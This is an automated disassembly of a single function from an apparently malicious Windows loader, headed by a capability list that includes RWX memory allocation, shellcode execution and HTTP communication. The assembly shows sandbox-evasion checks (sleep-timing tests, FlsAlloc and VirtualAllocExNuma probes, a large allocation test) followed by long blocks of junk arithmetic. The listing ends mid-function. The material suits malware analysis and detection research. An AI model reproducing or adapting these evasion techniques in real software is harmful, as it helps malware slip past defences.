Function at 0x2612b1d34
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Encode data using base64
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0xeb48
call fcn.261371b70
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0xeab0], xmm6
mov qword [rbp + 0xeae0], rcx
mov dword [rbp + 0xeae8], edx
mov qword [rbp + 0xeaf0], r8
mov dword [rbp + 0x9330], 1
cmp dword [rbp + 0xeae8], 1
jne 0x261370dbf
mov dword [rbp + 0x932c], 0x26e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9320], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9318], rax
mov rax, qword [rbp + 0x9318]
call rax
mov dword [rbp + 0x9314], eax
mov eax, dword [rbp + 0x932c]
mov r8, qword [rbp + 0x9320]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x9318]
call rax
mov dword [rbp + 0x9310], eax
mov eax, dword [rbp + 0x9310]
sub eax, dword [rbp + 0x9314]
cmp eax, 0x23c
jbe 0x261370dbf
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9308], rax
mov rax, qword [rbp + 0x9308]
mov ecx, 0
call rax
mov dword [rbp + 0x9304], eax
cmp dword [rbp + 0x9304], 0xffffffff
je 0x261370dbf
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92f8], rax
mov rax, qword [rbp + 0x92f8]
call rax
mov dword [rbp + 0x92f4], eax
mov ecx, 0x395
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x92f8]
call rax
mov dword [rbp + 0x92f0], eax
mov eax, dword [rbp + 0x92f0]
sub eax, dword [rbp + 0x92f4]
cmp eax, 0x363
jbe 0x261370dbf
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92e8], rax
mov rax, qword [rbp + 0x92e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x92e0], rax
cmp qword [rbp + 0x92e0], 0
jne 0x261370dbf
mov qword [rbp + 0xeaa8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x92d8], rax
cmp qword [rbp + 0x92d8], 0
je 0x2612b1fe2
mov rax, qword [rbp + 0x92d8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x92d0]
mov r9d, 0x3000
mov r8d, 0x4a3
mov edx, 0
call rax
mov qword [rbp + 0xeaa8], rax
cmp qword [rbp + 0xeaa8], 0
je 0x261370dbf
mov dword [rbp + 0x92cc], 0x288
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92c0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92b8], rax
mov rax, qword [rbp + 0x92b8]
call rax
mov dword [rbp + 0x92b4], eax
mov eax, dword [rbp + 0x92cc]
mov r8, qword [rbp + 0x92c0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x92b8]
call rax
mov dword [rbp + 0x92b0], eax
mov eax, dword [rbp + 0x92b0]
sub eax, dword [rbp + 0x92b4]
cmp eax, 0x256
jbe 0x261370dbf
mov qword [rbp + 0xeaa0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x92a8], rax
cmp qword [rbp + 0x92a8], 0
je 0x2612b2133
mov rax, qword [rbp + 0x92a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x92a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x92a0]
mov r9d, 0x3000
mov r8d, 0x3f5
mov edx, 0
call rax
mov qword [rbp + 0xeaa0], rax
cmp qword [rbp + 0xeaa0], 0
je 0x261370dbf
mov qword [rbp + 0x9298], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9290], rax
mov rax, qword [rbp + 0x9290]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x99fe80
mov ecx, 0
call rax
mov qword [rbp + 0x9298], rax
cmp qword [rbp + 0x9298], 0
je 0x261370dbf
mov rax, qword [rbp + 0x9298]
mov edx, 0x99fe80
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x9298]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x928c], 0x375
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9280], rax
mov rax, qword [rbp + 0x9280]
call rax
mov dword [rbp + 0x927c], eax
mov eax, dword [rbp + 0x928c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x9280]
call rax
mov dword [rbp + 0x9278], eax
mov eax, dword [rbp + 0x9278]
sub eax, dword [rbp + 0x927c]
cmp eax, 0x343
jbe 0x261370dbf
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x9270], rax
mov rax, qword [rbp + 0x9270]
mov ecx, 0
call rax
mov dword [rbp + 0x926c], eax
cmp dword [rbp + 0x926c], 0xffffffff
je 0x261370dbf
mov ecx, 0x800
call sym.malloc
mov qword [rbp + 0x9260], rax
mov dword [rbp + 0xea98], 0
jmp 0x2612b2323
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9260]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xea98], 1
cmp dword [rbp + 0xea98], 0xff
jle 0x2612b22d5
mov dword [rbp + 0xea98], 0
jmp 0x2612b238a
mov eax, dword [rbp + 0xea98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9260]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xea98]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9260]
add rax, rdx
movq xmm1, qword [0x26137a0e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xea98], 1
cmp dword [rbp + 0xea98], 0xff
jle 0x2612b233b
mov ecx, 0x184
call sym.malloc
mov qword [rbp + 0x9258], rax
mov dword [rbp + 0xea90], 0
mov dword [rbp + 0xea8c], 0
mov dword [rbp + 0xea94], 0
jmp 0x2612b2414
call sym.rand
mov edx, dword [rbp + 0xea94]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x9258]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0xea94], 1
cmp dword [rbp + 0xea94], 0x60
jle 0x2612b23c7
mov dword [rbp + 0xea94], 0
mov dword [rbp + 0xea94], 0
jmp 0x2612b2490
mov eax, dword [rbp + 0xea94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9258]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x2612b245f
add dword [rbp + 0xea90], 1
jmp 0x2612b2489
mov eax, dword [rbp + 0xea94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9258]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x2612b2489
add dword [rbp + 0xea8c], 1
add dword [rbp + 0xea94], 1
cmp dword [rbp + 0xea94], 0x60
jle 0x2612b2433
mov rax, qword [rbp + 0x9258]
mov rcx, rax
call sym.free
movsd xmm0, qword [0x26137a0f0]
movsd qword [rbp + 0xea80], xmm0
movsd xmm0, qword [0x26137a0f8]
movsd qword [rbp + 0x9250], xmm0
jmp 0x2612b24f3
movsd xmm0, qword [rbp + 0x9250]
mov rax, qword [rbp + 0xea80]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
mov qword [rbp + 0xea80], rax
movsd xmm0, qword [0x26137a100]
comisd xmm0, xmmword [rbp + 0xea80]
ja 0x2612b24ca
mov ecx, 0x808
call sym.malloc
mov qword [rbp + 0x9248], rax
mov dword [rbp + 0xea7c], 0
jmp 0x2612b2570
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea7c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9248]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xea7c], 1
cmp dword [rbp + 0xea7c], 0x100
jle 0x2612b2522
mov dword [rbp + 0xea7c], 0
jmp 0x2612b25d7
mov eax, dword [rbp + 0xea7c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9248]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xea7c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9248]
add rax, rdx
movq xmm1, qword [0x26137a0e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xea7c], 1
cmp dword [rbp + 0xea7c], 0x100
jle 0x2612b2588
mov dword [rbp + 0x9244], 0
mov ecx, 0x560
call sym.malloc
mov qword [rbp + 0x9238], rax
mov ecx, 0x560
call sym.malloc
mov qword [rbp + 0x9230], rax
mov ecx, 0x560
call sym.malloc
mov qword [rbp + 0x9228], rax
mov dword [rbp + 0xea78], 0
jmp 0x2612b26fd
mov dword [rbp + 0xea74], 0
jmp 0x2612b26e9
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xea78]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x9238]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xea74]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xea78]
cdqe
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x9230]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0xea74]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0xea74], 1
cmp dword [rbp + 0xea74], 7
jle 0x2612b263e
add dword [rbp + 0xea78], 1
cmp dword [rbp + 0xea78], 0x2a
jle 0x2612b262f
mov dword [rbp + 0xea78], 0
jmp 0x2612b27b6
mov dword [rbp + 0xea74], 0
jmp 0x2612b27a2
mov eax, dword [rbp + 0xea78]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x9238]
add rdx, rax
mov eax, dword [rbp + 0xea74]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xea78]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x9230]
add rdx, rax
mov eax, dword [rbp + 0xea74]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xea78]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x9228]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0xea74]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xea74], 1
cmp dword [rbp + 0xea74], 7
jle 0x2612b2725
add dword [rbp + 0xea78], 1
cmp dword [rbp + 0xea78], 0x2a
jle 0x2612b2719
mov rax, qword [rbp + 0x9238]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9230]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x9228]
mov rcx, rax
call sym.free
pxor xmm0, xmm0
movss dword [rbp + 0xea6c], xmm0
mov dword [rbp + 0xea70], 0
jmp 0x2612b2881
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0xea70]
movsd xmm0, qword [0x26137a0d0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x26137a108]
movd xmm0, eax
call dbg.powf
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0xea70]
addsd xmm0, xmm0
movsd xmm2, qword [0x26137a0d0]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0xea6c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0xea6c], xmm0
add dword [rbp + 0xea70], 1
cmp dword [rbp + 0xea70], 0x49
jle 0x2612b2808
movss xmm1, dword [rbp + 0xea6c]
movss xmm0, dword [0x26137a10c]
mulss xmm0, xmm1
movss dword [rbp + 0xea6c], xmm0
mov qword [rbp + 0xea60], 0
mov dword [rbp + 0xea68], 0x69
jmp 0x2612b28d7
mov eax, dword [rbp + 0xea68]
cdqe
add qword [rbp + 0xea60], rax
sub dword [rbp + 0xea68], 1
cmp dword [rbp + 0xea68], 0
jg 0x2612b28c1
mov dword [rbp + 0xea5c], 0xffffffff
mov ecx, 0xcf8
call sym.malloc
mov qword [rbp + 0x9220], rax
add dword [rbp + 0xea5c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9220]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xea5c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x9220]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea5c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x9220]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xea5c], 0x19d
jle 0x2612b28fb
mov dword [rbp + 0xea54], 0
mov dword [rbp + 0x921c], 0
mov ecx, 0x448
call sym.malloc
mov qword [rbp + 0x9210], rax
mov dword [rbp + 0xea58], 0
jmp 0x2612b2a51
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0xea58]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9210]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0xea58]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x9210]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0xea54], eax
add dword [rbp + 0xea58], 1
cmp dword [rbp + 0xea58], 0x111
jle 0x2612b29d5
mov rax, qword [rbp + 0x9210]
mov rcx, rax
call sym.free
mov dword [rbp + 0xea50], 0
jmp 0x2612b2aba
call sym.rand
imul eax, eax, 0x3a3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp - 0x20], rax
add dword [rbp + 0xea50], 1
cmp dword [rbp + 0xea50], 0x93
jle 0x2612b2a7c
mov dword [rbp + 0xea4c], 0xffffffff
add dword [rbp + 0xea4c], 1
call sym.rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x9208], rax
cmp dword [rbp + 0xea4c], 0x87
jle 0x2612b2ad0
mov ecx, 0x4ec
call sym.malloc
mov qword [rbp + 0x9200], rax
mov ecx, 0x4ec
call sym.malloc
mov qword [rbp + 0x91f8], rax
mov ecx, 0x4ec
call sym.malloc
mov qword [rbp + 0x91f0], rax
mov dword [rbp + 0xea48], 0
jmp 0x2612b2c4a
mov dword [rbp + 0xea44], 0
jmp 0x2612b2c36
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x64
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0xea48]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x9200]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0xea44]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 5
cdq
sub ecx, edx
imul edx, ecx, 0x64
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0xea48]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x91f8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0xea44]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xea44], 1
cmp dword [rbp + 0xea44], 0x14
jle 0x2612b2b6b
add dword [rbp + 0xea48], 1
cmp dword [rbp + 0xea48], 0xe
jle 0x2612b2b5c
mov dword [rbp + 0xea48], 0
jmp 0x2612b2d3c
mov dword [rbp + 0xea44], 0
jmp 0x2612b2d28
mov eax, dword [rbp + 0xea48]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x9200]
add rdx, rax
mov eax, dword [rbp + 0xea44]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0xea48]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x91f8]
add rdx, rax
mov eax, dword [rbp + 0xea44]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0xea48]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x91f0]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0xea44]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0xea44], 1
cmp dword [rbp + 0xea44], 0x14
jle 0x2612b2c75
add dword [rbp + 0xea48], 1
cmp dword [rbp + 0xea48], 0xe
jle 0x2612b2c66
mov rax, qword [rbp + 0x9200]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x91f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x91f0]
mov rcx, rax
call sym.free
mov dword [rbp + 0xea40], 0xffffffff
mov ecx, 0x240
call sym.malloc
mov qword [rbp + 0x91e8], rax
add dword [rbp + 0xea40], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91e8]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xea40]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91e8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea40]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x91e8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xea40], 0x46
jle 0x2612b2d91
mov dword [rbp + 0x91e4], 0
mov ecx, 0x2e4
call sym.malloc
mov qword [rbp + 0x91d8], rax
mov dword [rbp + 0xea3c], 0
jmp 0x2612b2f42
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x91e4], edx
mov edx, dword [rbp + 0x91e4]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x91e4], eax
cmp dword [rbp + 0x91e4], 0x168
jle 0x2612b2ec8
mov eax, dword [rbp + 0xea3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91d8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x2612b2f3b
cmp dword [rbp + 0x91e4], 0
jns 0x2612b2ef5
mov eax, dword [rbp + 0xea3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91d8]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x2612b2f3b
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x91e4]
movsd xmm0, qword [0x26137a110]
mulsd xmm0, xmm1
movsd xmm1, qword [0x26137a118]
divsd xmm0, xmm1
mov eax, dword [rbp + 0xea3c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x91d8]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0xea3c], 1
cmp dword [rbp + 0xea3c], 0xb8
jle 0x2612b2e61
mov rax, qword [rbp + 0x91d8]
mov rcx, rax
call sym.free
mov dword [rbp + 0xea38], 0xffffffff
mov ecx, 0x8e8
call sym.malloc
mov qword [rbp + 0x91d0], rax
add dword [rbp + 0xea38], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea38]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91d0]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xea38]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea38]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x91d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0xea38], 0x11b
jle 0x2612b2f7c
mov ecx, 0x488
call sym.malloc
mov qword [rbp + 0x91c8], rax
mov dword [rbp + 0xea34], 0
jmp 0x2612b3090
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xea34]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91c8]
add rax, rdx
movsd xmm1, qword [0x26137a0d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xea34], 1
cmp dword [rbp + 0xea34], 0x90
jle 0x2612b3042
mov dword [rbp + 0xea34], 0
jmp 0x2612b30fa
mov eax, dword [rbp + 0xea34]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea34]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x91c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xea34], 1
cmp dword [rbp + 0xea34], 0x90
jle 0x2612b30a8
mov dword [rbp + 0xea30], 0xffffffff
add dword [rbp + 0xea30], 1
call sym.rand
imul eax, eax, 0x114
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x26137a0c8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x91c0], rax
cmp dword [rbp + 0xea30], 0x108
jle 0x2612b3110
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x91b8], rax
mov ecx, 0x5b0
call sym.malloc
mov qword [rbp + 0x91b0], rax
mov dword [rbp + 0xea2c], 0
jmp 0x2612b3218
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0xea2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0xea2c], 1
cmp dword [rbp + 0xea2c], 0xb5
jle 0x2612b318e
mov dword [rbp + 0xea2c], 0
jmp 0x2612b3286
mov eax, dword [rbp + 0xea2c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x91b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xea2c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x91b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xea2c], 1
cmp dword [rbp + 0xea2c], 0xb5
jle 0x2612b3234
mov dword [rbp + 0xea28], 0
